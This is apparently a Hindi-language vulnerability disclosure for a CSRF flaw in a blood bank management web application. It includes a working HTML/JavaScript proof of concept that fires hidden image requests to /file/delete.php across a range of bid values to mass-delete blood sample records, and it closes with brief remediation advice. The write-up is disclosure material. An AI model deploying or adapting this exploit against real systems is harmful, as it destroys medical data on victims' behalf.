
रक्त बैंक CSRF अटैक POC
/file/delete.php?bid=BloodBank Management System के रक्त अनुरोध कार्यक्षमता में एक क्रॉस साइट रिक्वेस्ट फोर्जरी (CSRF) भेद्यता खोजी गई। यह दोष तब उत्पन्न होता है जब इस पथ /file/delete.php?bid= पर एक delete अनुरोध भेजा जाता है, जिससे पैरामीटर एप्लिकेशन में हटाने के लिए एक रिकॉर्ड का चयन कर पाता है। हालाँकि, रक्त नमूने जोड़ने के आधार पर गतिशील होते हैं, इसलिए अनुरोध को सफल बनाने के लिए मैंने एक लूप के भीतर JavaScript-जनित इमेज टैग का उपयोग किया।
bidbidsसफल शोषण से पीड़ित की ओर से अनधिकृत क्रियाएँ अर्थात डेटा विलोपन हो सकता है। इसके अतिरिक्त, पेलोड के साथ दुर्भावनापूर्ण वेबसाइटों पर जाकर भी इसका शोषण किया जा सकता है।
नीचे एक CSRF POC हमले का उदाहरण दिया गया है जो bid पैरामीटर के माध्यम से available blood samples को हटाता है, फ़ाइल को हमलावर-नियंत्रित डोमेन पर होस्ट करें, मेरे मामले में मैं localhost उपयोग कर रहा था:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>CSRF PoC</title>
</head>
<body>
<h2>CSRF Proof of Concept for Deleting Blood Bank Records</h2>
<script>
// Define the target URL where the Blood Bank System is hosted
const targetUrl = "http://localhost/bloodbank/file/delete.php";
// Loop through possible bid values (0 to 20) can be increased to as much as possible :)
for (let bid = 0; bid <= 20; bid++) {
// Create an image element for each bid value to send the GET request
let img = document.createElement("img");
img.src = `${targetUrl}?bid=${bid}`;
img.style.display = "none"; // Hide the image from view
document.body.appendChild(img);
}
</script>
</body>
</html>
csrf tokens डालें और GET अनुरोधों को स्थिति बदलने वाली क्रियाएँ करने से भी बचें।